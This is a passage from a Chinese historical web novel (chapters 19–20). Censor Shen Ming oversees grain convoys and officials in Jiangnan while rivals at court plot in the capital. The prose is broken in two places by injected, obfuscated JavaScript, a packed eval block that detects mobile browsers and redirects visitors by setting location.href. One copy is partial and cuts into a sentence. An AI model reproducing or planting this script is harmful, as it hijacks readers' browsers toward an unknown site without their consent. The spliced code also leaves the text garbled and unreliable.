月色甚好,只是肚子很煞风景的咕咕直叫,沈溟冷然紧了紧腰带。自来江南,自己好像变得娇气了,怎么连个海草的腥味也能把自己放倒?沈溟心里恨道:“明天非海味不吃,我就不信了。”又看了看身上那件白虎毛滚边披风,“啧,真娇气。”说罢摘了披风甩向一边,就着月色,于满院桂枝间游龙舞剑。 ****** 这厢,有睡醒难再入眠的“夜剑仙”,那厢,有压根睡不着对月畅谈的丁越和黄碚。 “云城一战险中求胜,如果去的不是指挥史,而是换成别人,恐怕早就交代在那里了。”丁越听黄碚把云城的事情说完,心有余悸道。 “何止是我们交代在那里,整个云城恐怕都已经陷落,江南变成海贼的附属藩国都不一定。” 黄碚义愤,丁越知道黄碚此番恐怕对云城主帅段悠宏失望至极。 黄碚接着说:“如果云城失守,大程国会把驱逐海贼,收复江南的重任放在谁身上呢?临危受命的或有他人,但领兵杀敌肯定少不了我们的姜大人。” 丁越点点头,想到姜长鹰去云城之前,在瑞城刑狱中和沈溟一起见曹忠的事,如曹忠所言,在上位者看来,蝼蚁无所谓输赢,只有“他们”的利益角逐才有输赢。“也许,正是料到云城的事并不简单,也预料到段将军的性子,御史大人当初才要指挥史去云城,以押解土匪的名义,让指挥史正好‘撞上’云城的变故。” 提及沈溟,黄碚若有所思,他看了看丁越,还是忍不住问道:“丁越,你觉不觉得,沈御史来江南,名义上是赈灾,实际上另有目的?” 一个多月来,丁越一直跟在沈溟身边,早就知道沈溟此行另有深意。不管是在瑞城与姜长鹰合谋散布生病的消息,还是秘审曹忠,亦或是安排姜长鹰去云城,包括在坞城将计就计解除观澜仓危机,以及今时今日来瑞城查私港,沈溟从未向自己隐瞒行动,也正因毫无隐瞒,让丁越发现这个初见时玩世不恭的贵公子正在脑中远去。丁越感觉对方身上藏着秘密,这些秘密犹如隐匿于海底的冰山,深邃而庞大。 “也许,沈大人也是‘他们’中的一员吧。” “‘他们’?‘他们’是谁?”黄碚不知道审讯曹忠的细节,他感觉今夜丁越不似之前那般勃然生气,而是多了几分沉郁。 “御史大人是身居朝廷,和我们并不是一路人,不管他此来目的何为,至少目前为止,没有任何行为是对指挥史不利的。我只是觉得,御史大人对咱家大人格外青睐,说不定也是件好事,毕竟在江南做这个一城小官,处处受人掣肘,如果此后能有朝中人关照一二,或许这指挥史府以后的日子,能够稍微好过许多。” “这要看指挥史怎么想,咱们大人一向有事办事,从不与人过从亲密,尤其是官场上。”月光洒在丁越脸上,白皙面容又添了几分清冷萧然,黄碚作为长辈,本想叮嘱丁越不要为了指挥史擅自和沈溟走得太近,但在看向丁越面容的一瞬间,他把原本的告诫换成了来自前辈的循循善诱,“不过,并非所有人都会唯利而趋,虽然人各有立场,但经过相处和了解,不同世界的人也许会建立除利益之外别的牵连和羁绊。” 闻言,丁越抬起眼,略带惊奇的笑到:“高义叔,如果淮奚和其甫他们听到你说这些,肯定会惊讶的。” 黄碚一向刚正不阿,姜府的小辈们都觉得黄碚虽然不是那种不苟言笑,严苛之人,但是为将多年自带凌然之气,让人不敢亵玩。其子黄其甫在自己的爹面前更是不敢有半点的顽劣之态。这会却在丁越面前展现出了温和的老父亲形象,令他颇感惊喜。 黄碚也笑了,骂了一声,“臭小子。”黄碚去不成坞城,本来心急如焚,但从丁越这里得知坞城有惊无险,焦灼感减了不少,但是隐隐又觉得不安。“哎,只是御史大人居然让淮奚送军粮,不知道……我总觉得这一步,走的很险,不仅仅是对于指挥史和淮奚来说很险,对于御史大人自己来说,亦是如此。” 丁越没想过这一层,听到此处,不由得心下一紧。 话到此处,二人断断续续听见不远处有动静,便默契的立即噤声。 “好像有打斗声” 黄碚已经从石凳上站起身,“这种剑气和气息,又好像不是打斗,因为只有一个人。” 丁越语气还算平静,“听声音,是偏院那边。”,说完忽然想到什么,心顿时揪紧。 “一些武艺高强的江湖刺客或者死士擅长隐匿气息。莫非……” 听到“刺客”二字,丁越再难冷静,今天已经从自己手里逃出两名刺客,此时更难按捺,从石凳上弹起身便往声音传来的地方奔去。 偏院桂枝满地,漫天花雨里,沈溟飒拓剑舞,衣袂飘飘,长发翻飞,身姿鸾回凤翥,招式却凌厉肃杀。黄碚丁越看得呆住,倏忽剑锋所至,身旁的金桂枝断花落,沈溟落地腕花收剑,然后躬身捡起地上桂枝,凑在鼻尖闻了闻,“嗯,香!” 沈溟站起身,转过头看向不请自来的两人,面上又是那一贯的潇洒随意,“二位来的真是时候,方才我那套剑法使得如何?” 黄碚回神,立即拱手行了礼,“大人剑法卓然,如行云流水。” 沈溟笑的更开,“黄将军谬赞了。”话都说到这了,边上自己的临时近卫却仍旧一言不发,沈溟便把眼神递过去,耐心等对方找赞美之词。 “大人为何还不睡?” “……”沈溟没料竟是这句,一时语塞,“我,我看今晚夜色甚好,技痒难耐,便练练剑法,也好活动活动筋骨。”话还没说完,却看到丁越眼神略过自身看向院内。满院狼藉,不像是练了场剑,更像发了场疯。“昂……江南的桂花开得比永益城的香甜,想必酿起来,味道更美。”沈溟边说边转身挪动脚步往远了走。 “强行斩落的桂花味道不如自然摇落下来的好,只怕大人会失望。” 这下黄碚也被愣头愣脑的丁越吓一跳,“也,也不妨事,嫩桂花和熟桂花各有风味,届时大人可以都尝尝,大人若喜爱哪种,待大人回永益城的时候,可带上几坛。”他找补的说道。 “回永益城?”沈溟停下脚步,白虎毛滚边披风就躺在自己的脚边。一个激灵让沈溟忽然想起,自己约莫有半月都没有收到来自永益城某人的信了。 “坞城的事,大抵已经传到永益城了,这里的一切,他应该都知道了吧。”沈溟心道。 ****** “斩去桂婆娑,人道是,清光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188600|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多。”① 乔府东苑暖阁,某人正临窗而立,对月自语。 小阿辰看向乔矜,感知到目光的乔矜亦看向阿辰,两人相视而笑。 “斫去月中桂,清光照山河。老爷真是身处庙堂,心忧天下啊。”阿辰被乔广陵这气派折服,他拿着笔的手撑着下颌,看着对月低吟的乔广陵,俨然是书中忧国忧民的国士模样。 “我觉得,父亲应该是单纯觉得这窗前的桂树挡住了月色,得伐了才好。”乔矜一本正经压低声音,毫不留情的拆台。 院外忽传来一阵洞箫声,乔广陵听了片刻,回头对两个小家伙说:“今日罚的窗课完成了就可以去睡了,小阿辰,你要管好予鹿,他若有什么主意别再跟着他一起,一定要来告诉我。”说罢出门了。 乔矜抻脖子望向院门,乔广陵走远了,回头看着小阿辰。 小阿辰一个激灵,害怕的说道:“别,主子,你什么话也别和我说……” ****** 面纱覆面,手持洞箫。残荷池边那人微微欠身行礼,“乔大人。” “花师在宣中很担心你,你何不早日回去。” “我的任务还未完成。” “剩下的就交给我,有了消息,我会告诉你的。” 那人只是轻轻摇头,“师姐蒙冤惨死,不报此仇我不能瞑目。” “你放心,我必不会叫你失望而归,我不仅会报仇,还会还亡者一个清白。” “这很难。” 乔广陵几不可见的叹了口气,耐心对那人道:“你相信我。” 那人闻言,似有触动,朝乔广陵走近,“大人,我信你,除了你我好像也没人可以信了。” 乔广陵稍稍放下心,“你如今在哪落脚,我给你找的院子,你好像一次都没去过。” 那人微微迟疑,轻笑道:“大人放心,我很好,不必担忧我。”说完从袖口中拿出一封信,“今日我来,是给大人这个的,这是当年师傅谱的曲,我也不能保证完全对,只是找了几个记得的人,拼凑出来的,希望能帮到大人。” ****** 这夜好似注定无眠,同样熬了个通宵达旦的,还有璃王楚珩。 坞城事发,罗途明的密报同梁仪善的请安拜帖一并送来,告诉他行动败了。梁仪善分明是得知了此事,所谓请安,其实是要同楚珩商议对策。 “此刻诚惶诚恐的梁仪善,倒是不介意和我绑在一条船上了。”楚珩着手中拈了枚金丝楠木葫芦,轻轻摩挲。 吴准走进来,伺候在侧,把楚珩的动作看在眼里,知道他心绪不宁,小心翼翼问道,“璃王殿下,如此惆怅,平日里都是罗先生为大人排忧,也不知这罗先生什么时候回来呢。” 楚珩深深的吸了口气,想到密报中罗途明把坞城的事禀报得言简意赅风轻云淡,恨恨的说:“估计是投海自尽了吧。” “……”吴准轻轻一笑,眉眼的皱纹更深,人却看上去更加慈祥了。他温声细语的说,“殿下,这是生气了?可是为今年陛下与贵妃娘娘的生辰礼发愁?” “诞礼?”楚珩倏忽想起,腊月十一腊月十八,分别是陛下和太子生母的生辰,且今年东宫新立,又赶上冬遇和年节时期,必定要同往年不一样。“我竟把这事给忘了。” 吴准何尝不知楚珩并未想起此事,但他知道楚珩每年都会费心准备贺礼,且每年都是用尽心思,不求奢华,但求巧妙。提及此事,不过是想给楚珩换换心思,害怕他一时走进一件事的死胡同。“奴才多嘴了,不明殿下所忧,胡乱猜测,实在是奴才的不称职。” “不必如此,你能提及甚好,此事便交给你去办吧。办好了,有赏。” “此乃本分,奴才不敢求赏。但求能为殿下解忧。” 楚珩从紫榆榻上起身,抖了抖宽袖,慢慢踱步至屏风后,走向里间的拓步床。“本王此番有忧,却不是你能解的。你且去罢。” 吴准微微欠身,直到屏风之后没了动静,才缓缓抬头,轻声道:“纵然殿下不信,但吴准才是真心肯为你解忧的人啊。” 19.复命 姜长鹰从云城出发,快马加鞭,却并非前往坞城,而是一路向北,往凉城去。特令官一路随行,并不多问。待到了凉城界,特令官辞别姜长鹰,要从凉城乘船北上,过恩江,回永益城复命。姜长鹰将人送走,进入凉城见到了等候在此的儿子姜南阗,趁着这几日,军粮已从观澜仓运到了凉城。 父子见面,没有过多寒暄,稍作休整,便要押运军粮。按照下拨令,军粮要分别运往醉临、擎南和宣中。 “醉临下滩郡仓、擎南盈城仓、宣中祥麟仓,辗转要去三个地方,父亲,我陪您一起去。” 姜长鹰看着儿子姜南阗,似有百感涌上,他伸手在姜南阗头发上乎了一把,“那夜观澜仓十分凶险,有没有受伤?” “没有。”姜南阗还是一副温顺的模样,微笑着回答父亲。 姜长鹰回头看了看队伍,跟着姜南阗押运军粮的人除了原本留守坞城的守备军和季鹰军,还有赈灾时拨到九灵城和凉城的人马。 姜南阗说:“观澜仓事发后,沈御史便让我借着运送赈灾物资的名义将军粮运到凉城等待父亲,还让灾情并不严重的九灵城和凉城的季鹰军前来接应。那时候特令还没送到父亲手中,因此对外我就是奉御史大人之命帮忙运送物资的。” 姜长鹰点点头,“御史大人是怕贼人卷土重来,杀个回马枪,他在江南巡视水患,自然知道赈灾粮要留存多少,也能大抵知道军粮的数额。” 姜南阗笑了一句,“我算过了,对应军粮调令,只多不少,父亲放心吧。” “你长大了,事情办的漂亮,想的也很周到。” “这也是有‘明先生’帮忙,事情才会办的这么顺利。只是到了凉城后,他说上头有令,要赶回去复命了。” “上头?是沈大人?” “应该是吧,‘明先生’就是沈大人特意安排到坞城助我们解决危机的,后又陪我运出军粮。” 姜长鹰略有所思,没再对‘明先生’多做追问,因为沈御史带给自己的疑惑太多,但所有行为从沈溟所居官位和权力角度去看,解释起来又是那么理所当然。 ****** 同时刻,尚在瑞城的陆谦袁正在试图厘清脑中万千思绪。 沈溟当初下江南也需过恩江,途径凉城,彼时命陆谦袁在凉城接应姜长鹰麾下派来赈灾的人,一起巡查灾情,分拨人手,还需给予姜长鹰部下灾情巡视各城通行令和巡查权限,而重中之重,陆谦袁需要守住凉城港口,严查登岸和过江之人。当时沈溟的理由是以防有人趁机作乱,现在陆谦袁心下明了,沈溟应该在那个时候就知道邢柏年要叛国,只奈何饶是如此,也没能抓住邢柏年。陆谦袁心中暗自思忖,沈溟此次若是身兼抓捕邢柏年的皇命,回去又该如何交差?正在陆谦袁自顾揣度之际,小厮来报御史大人传他一叙。 瑞城知尹府议事厅内,门窗紧闭,众人避退二门外,独留御史大人沈溟和江南布政使陆谦袁。 沈溟开门见山,问道:“陆大人,曹忠一出事,我便把你喊来瑞城坐镇,不成想此间事务如此繁多,辛苦你了。不知东海渔贩和刺客的事情,查的如何了?” 布政史陆谦袁满面露愧色,向沈溟请罪道瑞城私港和刺客的事情没有提前防范,害得御史大人险遭毒手,虽查明了海边行刺者均为东海渔贩一流,但是并没有找到渔贩据点,目前也不清楚还有多少渔贩正在江南流窜。而那夜在监牢行刺的刺客,更是半点线索也无。 知尹府正厅,沈溟端坐太师椅,“陆大人莫要自责。瑞城之事,说大不大,说小不小。” 开设私港是大罪,况且任由当地流匪私下互市,除了已经被沈溟秘密看押的曹忠,陆谦袁亦难逃干系。陆谦袁知道沈溟的意思,这是要和他做交易。由于不知道要付出什么样的代价,他不敢当即表态,只能佯装迟钝,“御史大人海纳百川,待赈灾事了,下官一定肃清江南匪患,安抚民心,以感沈大人之德和朝廷之洪恩。” 许是这两日修养好了,沈溟面色如月,由内而外透着佻达和贵气。他闻言哂笑一声,“是啊,江南九城事务繁杂,不仅每年都有水患要平,还有吏治要整顿,也有匪患要涤清。就比如……”沈溟放轻了声调,看了眼陆谦袁,对方依然欠身,保持着行礼的姿态。 沈溟接着说:“对于赈灾的事情,不仅要核拟灾情实况,还要前往各城巡查,下令分拨人手,拟定数额上报朝廷;每年三拨军粮,陆大人一方面要提防匪徒觊觎军粮,另一方面,军粮下拨还要亲自派人盯着,以防有人中饱私囊。这些事做了这么多年愣是一点差错也无,直到今年,水患来势汹汹,我沈溟来江南,不仅闹出了劫军粮、渔贩作乱、私设海港等事,就连一向安分守己的瑞城知尹曹忠也开始通匪,一向铁面无私的都指挥使邢柏年甚至狗胆包天,勾结海贼。” 沈溟每说完一句,陆谦袁身上好似多加了一个秤砣,最终他在沈溟一连串的指斥中彻底矮了身形,把腰弯得更低。 沈溟不打算停止,“这么多年了,想必与您同为江南一把手的邢柏年,还有瑞城的曹忠,在陆大人的治下也是如履薄冰,时至今日才露出马脚。权柄在握的奸臣尚且如此,私港和渔贩就更是不敢祸乱百姓,苟存至今咯,难为他们,在这多事之秋,才觅得这点空隙,稍稍露出自己的狐狸尾巴。” 扑通! 陆谦袁折膝跪地,在沈溟的反讽中悲恸道:“御史大人,下官知错。” 沈溟冷眼看着他陈情,翻来覆去不过是知错,有罪,一时失察之言。 但是再多辩驳都是苍白无力的。 沉吟片刻后,陆谦袁看到沈溟的脚步不疾不徐迈步至眼前,接着沈溟温柔的虚扶起他,慈眉善目的说:“陆大人乃江南布政使,政务庞杂,江南九城太平这么多年,是陆大人励精图治的结果,水患是天灾,怨不得人。此次听我之令据守凉城,害大人守在那里干着急,是我的错。” 陆谦袁吓了一跳,不敢承受,又要跪下去,被沈溟阻止道:“陆大人,多说无益,赈灾的事还没完,姜指挥史身负押运军粮重任,接下来,就辛苦陆大人随我一同去坞城下放赈灾粮了。” “不敢,这是下官职责所在。”陆谦袁无有不应。 沈溟又说了句,“这灾情奏报,我上疏表的是我看到的,陆大人你……” 陆谦袁没有迟疑,“下官明白,江南诸事,下官定好好拟定奏疏上表,呃……为防遗漏,届时还请御史大人过目一二。”陆谦袁自诩为官清廉正派,从未徇私舞弊,所以总是端的一副老成持重之态,谁能想到今日在这正厅之内,陆谦袁面对这位未及而立的年轻御史,竟是如此卑微惶恐。 ****** 沈溟自去江南,与姜长鹰巡视各城,拟定赈灾银和粮食数额上呈内阁,内阁和户部兵部一起核算,依据灾情定下了赈灾粮、赈灾款项,再依据擎南、宣中、醉临的军粮所需拟定了军粮数额。乾泽帝看了并无异议,司礼监在乾泽帝授意下,合并今年换仓拨粮的新政,拟定各方军粮下拨令,再派特令官去地方各地传令。 江南特令官于霍刚回到永益城,乾泽帝的御案上,就呈了江南布政使陆谦袁的奏疏。 永益城,仁德殿内,乾泽帝楚玹看着奏疏,面色几变,帝王规训在前,楚玹极力平息流窜五内的怒火。 司礼监掌印太监邱侣奉茶,乾泽帝搁下奏折,看了眼邱侣,“江南特令官是谁?” 邱侣低下身,“回禀陛下,江南特令官是司礼监于霍,昨日晚间回到永益城。” “就是说姜长鹰已经在押运军粮的途中了?沈溟可有上疏?” “呃,陛下,沈大人自去江南,一向都是将灾情奏报呈到内阁的,奴才未曾知晓。陛下是否要召见内阁?” 乾泽帝想到沈溟那副玩世不恭的模样,气极反笑,“不用看也知道,左不过是说水患,赈灾,别的就不用指望他了。”乾泽帝看了眼面前陆谦袁的那封奏疏,冷声道:“让他赈灾他也就只是赈灾,打着御史的名号许他江南游玩那么久,也是该回来了。” ****** 江南坞城,沈溟这些天除了去观澜仓督办放粮,其余时间就安置在姜府汇霞阁。这日沈溟起了个早,独自在府内漫步,穿过湖边假山,放眼所见便是姜府主院,沈溟心道观澜仓开仓多日,军粮下放差不多,不知今日能否见到临时护卫丁越。 姜府主宅院内,姜夫人宴深伫立廊下。丁越就府中大小事务,连同观澜仓赈灾事宜一并向宴深说了,又呈上姜长鹰传来的家书,有曾经军中斥候队留存的便利,姜长鹰传信和收集消息向来都是极快的。宴深速速看了,未见轻松的长叹一口气。 “深姨不必担忧,指挥史和淮奚必定一帆风顺。” “我明白!”宴深语气温柔,“他们父子两个,此番各自在坞城和云城历经凶险,现在说起来我还是心有余悸,不担心是假的,今年多风波,我盼着他们早些回来。” “此次云城和坞城,早早布局,都是有惊无险,要是粮仓出事,真难想象会有什么样的后果。”丁越说起这些事,脑中不由想到了那个在背后运筹帷幄,助姜府化险为夷的人。“不过淮奚这次真的让人刮目相看,观澜仓一战临危不惧,有指挥史当年的风采。” 说到孩子,宴深愁绪又涌上心头,“什么风采不风采的,所谓风采,恰恰担心是我最担心的所在,丁越,我真害怕淮奚要走他爹的路。” 丁越微微蹙眉,“说到这个,我只能劝深姨把心放宽,淮奚近年去云城,就颇得云城段将军亲眼,还属意他去云城做参将。我看淮奚也是很愿意的。” 姜长鹰长子姜南阗潇洒俊逸,身手了得,自十三岁开始,姜南阗便随姜长鹰多次前往云城报备坞城军务,深得云城军主帅段悠宏赏识,宴深并不希望儿子从戎,又着急他的婚事,每每提及总是长吁短叹愁绪满怀。 丁越哪壶不开提哪壶,宴深越说越气,“常年在云城,一年中许多时间我都见不到他,那小小参将不做也罢。” “男孩子爱沙场是好事,我看指挥史那性子,未必会阻拦淮奚。”丁越说的实实在在,简直就是一脸纯真的火上浇油。 宴深冷哼一声,“哼,不违背儿子的意愿?说得好听,若拜玉将来去参加科举,我看他到时候还能不能做个慈父。” “……”丁越愣了,一时不知作何回答,吞吞吐吐的宽慰道:“深姨莫要担心,疏儿尚年幼,不一定就想入朝为官呢。” 宴深回眸,复杂的看了一眼丁越,少顷道:“小丁越啊,希望如你所说吧。” 丁越在姜夫人宴深的注视下心里发虚,姜二公子姜南疏虽然才十一岁,六艺却已显天赋,但有才者,是不会甘于凡俗的。自己亦是男子,这一点,丁越很清楚。 宴深见丁越无言,接着说:“如今太子新立,乔广陵任太师,太子生母又是乔广陵的姐姐,说来说去,朝中早就容不下我们姜氏了。其他的事情无所谓,我的孩子们,无需建功立业,我只希望他们这辈子平安顺遂即可……” 丁越再不看他的深姨,只是看向院内的四角天空,喃喃道:“朝堂风云变幻,到那时,又是何等情状,谁也不知道。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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清脆童稚的声音自院中传来,打断了二人的对话,丁越和宴深探身望去,五子姜南羿站在对面屋顶,手里捏着一本书,边看边读,旋即合上书,冲着屋脊另一边朗声道:“游乐四方,独来独往于天地间,就是超脱万物的至贵之人吗,我看是逃避世俗生活的胆小之人才对。阿姐,你可别被这书给骗了,要学人家游历什么江湖。” 不多时,三女儿江南苒也在屋脊露头。“姜南羿,把书还我,那是二哥给我的。还有我的弓。” “你说下棋输了,就把大哥送你的那张弓给我的。” “我没说,是你先弄坏了我的弓,故意跑来和我对弈。” “那你就是输了,那弓已经是我的,坏与不坏,都不关你的事了啊,再说——”姜南羿梗着脖子嘟囔道:“那弓我一用力就断了,可不能怪我,要怪,你就怪大哥送的弓太不扎实了。” 江南苒压了一腔怒火,忍无可忍,竟拔出一柄软剑朝姜南羿挥去。 姜南羿临危不乱,就地一个跟斗从屋顶滚落,然后纵身探手攀住了院中木梁。 江南苒不肯罢休,也从屋顶飞身而下,倏忽滑了一脚,眼看就要摔落,一身影从院中掠出,接了一把江南苒,又揪住她的后领将其稳稳的放在地上。 江南苒并不把方才的凶险一刻放在心上,一落地就举着剑对还在梁上的姜南羿喊打喊杀。 “小姑娘,你再摔下来可没人能救你。” 江南苒刚要让人放开自己,但一声舒朗清和的声音自头顶传来,旋即回头,一张好看的脸出现在眼前。“……漂,漂亮叔叔,你去,把那小子给我逮住。” 沈溟摊了摊手,为难道:“我……” 屋里的两人回过神,走到沈溟跟前,行礼问安。 “御史大人!” 沈溟微微一笑,“姜夫人早啊。”沈溟看向默默跟着姜夫人朝自己拱手的丁越,对方朝自己行礼,但并未抬眼看他。 宴深朝沈溟行罢礼,对女儿说:“三白,这是御史大人,还不快行礼……” 姜夫人宴深话音刚落,只听姜南羿哈哈一笑,抬头一看,他竟不知何时又重新翻上了屋顶,冲这个比自己大四岁的姐姐挤了挤眼,纵身跃到屋脊的另一边,不见了踪影。 姜南苒一句话也不多说,冷脸提着剑转身从正门直往院外奔去。 “这两小的,怎么成天打个不停啊。”宴深皱眉,满脸愁苦的看着女儿的背影消失在院外。 沈溟倒是笑嘻嘻,“我来姜府这些时日,都没见过令嫒,以为是圈在闺房绣花抚琴,今日一见,真是令我大开眼界,不愧是姜大人的孩子,不仅个个生龙活虎,身手不凡,对诗书也是信手拈来。” “哎——”宴深叹了口气,朝屋外看去:“让御史大人见笑了,都是我管教不严,让孩子们在大人面前失礼。” “孩子性子烈一点,挺好的——”沈溟说完,乜了眼丁越,又补了句,“烈性霸道,蛮好的,我喜欢。” 虽然已经听闻沈御史是个随性舒朗的性子,不成想这么没有官架子,倒是让宴深对于这个有恩于姜府的御史大人更多了几分敬意。 姜夫人是被哄高兴了,但是对面的少年似乎只是不动声色的轻咳了一声,未见有别的反应。沈溟心念一转,谦谦有礼的问道,“呃……姜夫人,府中可有良驹?” “有,御史大人要出门?府中也有轿撵和马车。” “不必了,我要回永益城复命了……”半句话出口,余光里的人终于讶然抬眸。沈溟内心一阵欣喜,才接着悠悠的说:“所以我今日要出趟城。此番来江南,只坞城没有仔细巡视过,坞城在江南九城中颇为重要,临走前我少不得要再去趟观澜仓,再在各处转转,也好做到心中有数。” 20.登山 坞城三营公所内,宋露正在核对赈灾人手的派驻和回城情况。“规程不能出错,数目也要对得上,不能有遗漏,即便是换差替人当值之类,也要详实记录。” “是。”听者略有迟疑,欲言又止。 “怎么了?”宋露细心问道。 “佥事大人,恩……近日御史大人还在姜府,得了空,能否帮我给御史大人递个话?” “递话?你有什么事要跟御史大人禀告?” “也,也不算有事,就是那日观澜仓一战,我兄弟刘七,若不是得御史大人派来的那位明先生相救,恐怕如今已是一具骸骨了。我兄弟二人心中感念御史大人和明先生,却没机会拜谢。明先生走了。我们本想着去叩谢御史大人,但一来御史大人公务繁忙,二来么……”刘六含笑低下头,不好意思的说:“我们职级低,不敢擅自去叨扰,所以,想劳烦宋佥事帮我把谢意带到。” 观澜仓抗击土匪侵袭后,为了确保军粮押运去凉城,姜南阗特地让当夜参战的部分兄弟留在坞城,刘六刘七兄弟便在其中。而宋露那晚并不在坞城,不过他大抵听说了,那位明先生是沈溟特意安排来的,其实何止是刘六刘七兄弟,现在观澜仓上下都十分感念沈溟和明先生。 宋露心有戚戚,面色依然温和有风度,微微一笑问,“要说职级,我也未必能寻得机会和御史大人多说得上两句,不过近日常听将士们私下说起那位明先生,观澜仓事发我尚在瑞城,我也好奇,那到底是个什么样的人物?” 刘六在脑中回想,认真的说:“那位明先生,长得温文尔雅,看着是个斯文公子,不过脑子好使,足智多谋,而且身手不凡。” 宋露轻笑,“这样的人物,可惜无缘得见。” “宋佥事近来辛苦,不知道重新和旧主一起做事,有没有追忆往昔?”沈溟在三营公所外远远便看见宋露和刘六在说话。想起近来此人和前主陆谦袁一起经管观澜仓放赈灾粮。 丁越陪同沈溟巡视,听对方莫名发此感叹,虽无半句斥责之语,但是丁越还是确信,宋露不知何时闷声不响得罪了高高在上的御史大人。“御史大人好像不喜欢宋佥事?” “这么明显吗?那你有没有看出来,宋佥事也不喜欢御史大人呢?” “……宋佥事不过一城防小吏,若有哪里令御史大人不快,还请大人不要与他计较。” “近十年了,宋佥事在坞城跟随姜大人这么久,足以令你毫不犹豫为他说出这番话。”顿了顿又说,“即使在没问前因后果的情况下。” 丁越略微赧然,慢吞吞的问,“那,御史大人可否告知是因为什么?” 沈溟一紧缰绳,伸手又拽住丁越的,停下来定睛看他,却是问出了另一句不相干的,“你看出我不喜欢谁,能否看出我喜欢谁?” “……”丁越怔住。 “你……”沈溟话看着丁越慢条斯理想要说什么。 “御史大人——” 三营公所今日人不多,都分派出去了,这会子从观澜仓轮岗下差的兵呼啦啦走近。 高呼的是刘七,比起哥哥刘六,他更加任达不拘。 “御史大人,丁参卫。”刘七甩臂大踏步跑过来,喜笑盈腮看着马上二人。“敢问御史大人,明先生何在?” 沈溟空空大眼瞥了眼丁越,“他……回家了。” 刘七愣了一下,笑容也煞时减了七分,“他家在哪?” 沈溟不知原委,看着刘七一副剽悍样,怕不是要寻仇,“估计,大概,蛮远的,这厮飘萍浪迹,我见他这次有功,放他去玩几个月。” 刘七显然是信了,皱眉低头作思考状。 沈溟不拘礼节,丁越却不好放任刘七一直僭越,就要开口打发他,却见刘七扑通一声,朝着沈溟虔诚的跪了下来。 “……” “那夜观澜仓一战,刘七承蒙明先生搭救,留下一命,既然明先生是御史大人的人,那刘七今日也得好好感谢御史大人。” 沈溟微微一笑,“他救了你一命,谢我作甚。” “谢沈御史大义,救了所有人!” 刘七语落铿锵,深深叩首。 沈溟闻言跳下马,打算扶起眼前的壮汉,丁越也跟着跳下马,不动声色的站沈溟身后。沈溟刚要上前,却见下差的将士稀稀落落围了过来,跪倒一片。 “……”沈溟一时无措。 一将士跪地激奋道:“观澜仓一战幸亏有御史大人提早筹谋,如若不是御史大人,我等恐怕现在不能安然在此。” “是啊,御史大人特意派来明先生全意相助,化解粮仓危机,坞城守备军将士,无不感念御史大人。”另一将士紧接着说。 “那夜土匪来势汹汹,最后却被我们打得落花流水,这场守卫战打得畅快。” “是啊,如果不是御史大人提早防范,识破贼人奸计,哪有后来的峰回路转。” “说实话,我们好久没有这么痛快的干一仗了。” 你一言我一语,沈溟却呆愣住了,五内百感,一时竟不知如何表态。一声“大人”拉回了沈溟的思绪,丁越轻声唤他,朝前方示意。 沈溟顺所指处看去,原来是宋露和刘六也迎了出来,后面还跟着所内当值的几人。刘六等人皆拜下去,唯有宋露,把目光投过来,对着沈溟冁然而笑,谦卑恭敬的拱手行了一礼。 “诸位不必如此,”沈溟还是那副恣意洒脱的样子,“诸位守卫军粮,均是大程有功之人,我沈溟在其位谋其职,不过是做了分内之事,仗是你们打的,要谢,该谢你们的指挥史大人,坞城虽小,却没叫你们髀肉横生,消磨了斗志。” ****** 不过十月中,永益城内下过两场秋雨之后,寒意渐盛。 乔府西苑井心阁内,乔广陵裹着褐色狐裘大氅,端坐席上,边上放着炕几。一本《仺禀录》被风吹开,来回翻覆着簌簌作响。 槛窗被轻轻合上,阻了风,北林走到炕几边将书理了理。 “好玩吗?”乔广陵没看他,语气轻松的问。 “好玩。当军师,上战场,押运军粮,十分有趣。”北林回答得干干脆脆,轻松自然。 乔广陵端着茶正喝着,忽然被呛。他猛咳几声,放下茶盏,有点心虚。但是面对的是北林,他只好扯起嘴角,拿出笑脸重新关怀道:“辛苦了。好好歇歇,近来我和予鹿多在宫里,小阿辰在家寂寞,盼着你回来呢。” 北林从怀里拿出一个信谏,“只有小阿辰盼着我回来吗?” “当然……”乔广陵转过头,忽然知趣的说:“当然是阖府上下都盼着你回来。” “我回永益的时候,路过宣中,见了花师一面。他让我把这个带给你。花师说,今年中秋之际开始,陆陆续续有擎南行商在宣中做生意。” 乔广陵拆开信,其中记录的是行商在宣中所易物品以及对应的货商。“乍一看没什么问题,但是他们好像对药材刺绣以及上等良米颇为感兴趣。” “秋季囤货,年节前,卖给各地达官贵人?” 乔广陵摇摇头,“此人好像知道今年什么类型的药材和粮食会歉收一样,而且有些奇珍药材和精谷,不见得是盲目采买。就好像,吃定会有人喜欢一样。” “花师说这个单子并不全面,因为行商行事了有一阵他才发觉,事后觉得不对劲,才开始着手让下面的人去查的。难免有遗漏,甚至也有可能不全是擎南的人做的生意。” 乔广陵点点头,“此事尚无头绪,不过军粮的事要收尾了,得赶紧让沈溟回来,我们的计划,需赶在腊月陛下寿诞前了结。” 北林挑了挑眉,随手拿了本书开始翻看。 乔广陵细心的把他的动作看在眼里,“你这是什么表情。沈溟在江南,出了什么幺蛾子吗?” “没,没有,就是江南甚美,御史大人乐不思蜀,的确需要催一催。” ****** 乐不思蜀的御史大人在三营公所脱身后,按原计划朝着观澜仓走去。但是沈溟不敢再去观澜仓了。 “大人要回城吗?”丁越陪同着,莫名把沈溟的心思看穿。 “嗯……陆大人和黄碚都在观澜仓,想必没什么差池。” 沈溟答非所问,言下之意即不想去观澜仓,也不打算回城。 